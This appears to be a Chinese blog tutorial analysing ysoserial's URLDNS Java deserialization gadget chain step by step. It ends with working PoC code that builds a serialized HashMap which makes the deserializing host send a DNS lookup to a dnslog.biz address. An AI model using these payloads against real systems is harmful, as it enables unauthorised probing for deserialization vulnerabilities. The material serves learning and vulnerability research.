URLDNS链分析
配置调试ysoserial
下载项目ysoserial:https://github.com/frohoff/ysoserial
idea打开,在pom.xml下载好需要用的所有依赖。下载依赖的时候一定要把配置文件全勾上:
下载完成,看到没有报错后,就可以开始调试ysoserial了。在 pom.xml 中找到入口类:
跟踪入口类,右键点击调试发现只会打印uage信息:
这是因为我们没有传入参数,需要进行调试配置:
然后再次点击调试,发现序列化成功(呃,上面的地址需要加个http://头):
然后就可以通过打断点对ysoserial的URLDNS链进行调试了。
URLDNS链分析
URLDNS
是ysoserial中利用链的一个名字,通常用于检测是否存在Java反序列化漏洞。该利用链具有如下特点:
- 不限制jdk版本,使用Java内置类,对第三方依赖没有要求
- 目标无回显,可以通过DNS请求来验证是否存在反序列化漏洞
- URLDNS利用链,只能发起DNS请求,并不能进行其他利用
学了前面的java序列化,我们知道了要想利用反序列化漏洞就得要重写readObject,不然连最基本的反序列化都做不到。
ysoserial在URLDNS.java中已经写出了利用链:
Gadget Chain:
HashMap.readObject()
HashMap.putVal()
HashMap.hash()
URL.hashCode()
先看URLDNS.java类(属于ysoserial工具自己的类):
这个类继承了一个泛型为对象的接口,然后第一步先实例化了一个handler,SilentURLStreamHandler这个类继承了URLStreamHandler,并重写openConnection和getHostAddress方法返回空,这个作用后面在说。
之后创建hashMap、URL对象,然后将URL对象,也就是DnsLog的地址put进hashmap(这个put方法后面在跟进细说)。
然后通过反射调用重置hashCode的值为-1,再返回(作后面再说)。
可以看出:最终的payload结构是一个HashMap
,里面包含了 一个修改了HashCode
为-1的URL
类。
跟进到HashMap
类
可以看到HashMap是个泛型可以接受类,并且继承了Serializable接口,可以实现序列化和反序列化。
反序列化时会调用readObject函数,搜索发现这里重写的readObject()
函数。
红框上面的就是一些对传入数据的检测,方法中最关键的就是红框部分,可以看出通过反序列化取出了k和v并对其调用putVal方法。
跟进行putVal方法没有什么好看的,就是把k和v放入table中。
回到readObject的putVal方法里面还调用了hash方法处理我们传入key。
跟进hash(),看到这个方法的内容并不多。
会先判断key是否为空,不是空就调用hashCode来获取值的哈希码(即生成哈希值)。这里让 key 为 URL 对象,那么key.hashCode()
调用URL类中的hashCode方法:java.net.URL#hashCode
,跟进一下。
如果hashCode不等于-1则直接返回,表示已经算过了,否则就调用handler类里面的hashCode方法。上面可以看到hashCode默认就是-1。
那么可以跟进handler的hashCode方法,
getHostAddress是获取ip地址,跟进一下getHostAddress方法,到达最终利用场景。
可以看到其逻辑,判断是否有主机名,有就直接返回,没有就执行getByName触发解析然后返回。
那么链子主要的就这些了,但怎么感觉这个链子似乎和我们的payload没有关系呢。确实没有关系,这里分析的URLDNS链是利用链也就是说可以传入payload到readObject进行利用最后会造成DNS解析。
ysoserial生成payload分析
这里生成paylaod是进行的序列化,利用的writeObject方法来把url进行序列化,从上面的URLDNS类不难看到其调用了hashMap的put方法,跟进put方法:
发现也是putVal方法,后面的就和readObject中一样了,会对url进行解析。但为什么在生成payload时明明调用了put方法却在DNSlog并没有收到请求呢。
回到最开始说的,发现重写了openConnection和getHostAddress方法使其返回为空,在调试时从put方法步过也可以看到直接到了return null
,所以上面重写的目的就是为了防止在生成payload时发起DNS解析,至于重写openConnection方法的作用是实现类必须实现父类的所有抽象方法。但是如果看到我下面进行验证时会发现readObject在调用时为什么又会进行解析。
其实具体调用哪个类的getHostAddress方法是由handler来看的,跟进hanlder发现put时的handler是:
而在反序列化时,URLStreamHandler是由transient修饰的,被transient
修饰的变量无法被序列化,所以最终反序列化读取出来的transient
依旧是其初始值,也就是URLStreamHandler
,所以最后还是调用的URLStreamHandler
的getHostAddress方法。
那么生成payload时把hashCode设为-1又是为什么呢。这是因为在前面HashMap#put
时已经调用过一次hashCode()
函数,hashCode
的值会改变不再为-1
,那么进行漏洞验证传入readObject时就会直接返回HashCode值了。所以还得利用反射来让hashCode变为-1。
综上怎么感觉put这么麻烦又会触发dns解析又会让hashCode不为-1,就不能去掉吗?
这里就要看进行序列化时重写的writeObject方法了:
看到就是将对象的默认序列化写入到输出流和将 buckets
变量的值和size
变量的值写入到输出流。还有就是有个自定义的方法,跟进看看:
可以发现它让tab值等于table值,然后从中取出键值进行序列化。那么这个table是哪来的呢?
就是put方法中的putVal改变的。所以需要调用put方法才能成功序列化。至于反序列就和table没有关系了,就是正常的进行反序列化拿到kv值。
ysoserial验证整条URLDNS链子
最后可以利用PayloadRunner.run()来进行一次完成的利用。
配置好参数后开始条调试:
继续向下运行,可以看到对payload进行了序列化,
调用的序列化函数writeObject是hashMap重写后的
继续向下,接下来要进行的是反序列化。
跟进发现调用的就是hashMap的readObject方法。
readObject后面的内容我们就熟悉了,上面也说了readObject下面调用的getHostAddress就是URLStreamHandler类的,所以最后执行会有一次解析,在dnslog平台可以看到。
至此工具ysoserial的由生成payload到执行payload的链子就这样了。
poc链调试
如果把ysoserial的整个URLDNS链理清楚了,其实就可以自己编写payload进行调试了。
poc:
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.net.URL;
import java.util.HashMap;
import java.lang.reflect.Field;
public class URLDemo {
public static void main(String[] args)throws Exception{
HashMap hashMap = new HashMap(); //创建HashMap的对象hashMap
URL url = new URL("http://2faede01.log.dnslog.biz."); //创建URL对象,含有我们的url
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode"); //反射调用私有变量hashCode
f.setAccessible(true); //使私有变量能够被修改
f.set(url, 10086); //不为-1就行,不触发解析,ysoserial使通过重写getHostAddress来实现的
hashMap.put(url, "gaoren"); //put入我们的键值,值随便什么都行
f.set(url, -1); //修改hashCode为-1
System.out.println(hashMap);
//序列化,参考java序列化
try {
FileOutputStream out=new FileOutputStream("dnsser.bin");
ObjectOutputStream objout=new ObjectOutputStream(out);
objout.writeObject(hashMap);
objout.close();
out.close();
//反序列化,参考java反序列化
FileInputStream in=new FileInputStream("dnsser.bin");
ObjectInputStream objin=new ObjectInputStream(in);
objin.readObject();
objin.close();
in.close();
} catch (Exception e) {
e.printStackTrace();
}
}
}
看上面的注释应该不难理解这串代码。因为使HashMap重写了readObject方法,漏洞在它,所以这里是创建的它的对象,调用它的序列化和反序列化方法。
进行调试:
看到到了writeObject方法进行序列化。也就是ysoserial生成payload的步骤。
继续向下:
看到是readObject了,进行反序列化触发链子了,这个就不分析了,和上面的一摸一样。最后在dnslog平台可以看到请求:
也可以进行字节的序列化和反序列化:
import java.io.*;
import java.net.URL;
import java.util.HashMap;
import java.lang.reflect.Field;
public class URLDemo {
public static void main(String[] args)throws Exception{
HashMap hashMap = new HashMap();
URL url = new URL("http://2faede01.log.dnslog.biz.");
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
f.setAccessible(true);
f.set(url, 10086);
hashMap.put(url, "gaoren");
f.set(url, -1);
System.out.println(hashMap);
try {
ByteArrayOutputStream out=new ByteArrayOutputStream();
ObjectOutputStream objout=new ObjectOutputStream(out);
objout.writeObject(hashMap);
objout.close();
out.close();
byte[] ObjectBytes=out.toByteArray();
ByteArrayInputStream in=new ByteArrayInputStream(ObjectBytes);
ObjectInputStream objin=new ObjectInputStream(in);
objin.readObject();
objin.close();
in.close();
} catch (Exception e) {
e.printStackTrace();
}
}
}
如果有生成的payload想进行验证,也可以直接之构造反序列化的方法:
import java.io.*;
public class main {
public static void main(String[] args) throws IOException, ClassNotFoundException {
FileInputStream fis = new FileInputStream("out.bin");
ObjectInputStream bit = new ObjectInputStream(fis);
bit.readObject();
}
}
跟踪调试,效果是一样的。
参考:
https://www.cnblogs.com/nice0e3/p/13772184.html#0x03-urldns%E9%93%BE%E5%88%86%E6%9E%90
https://www.anquanke.com/post/id/261724#h3-10
https://www.cnblogs.com/gk0d/p/16874157.html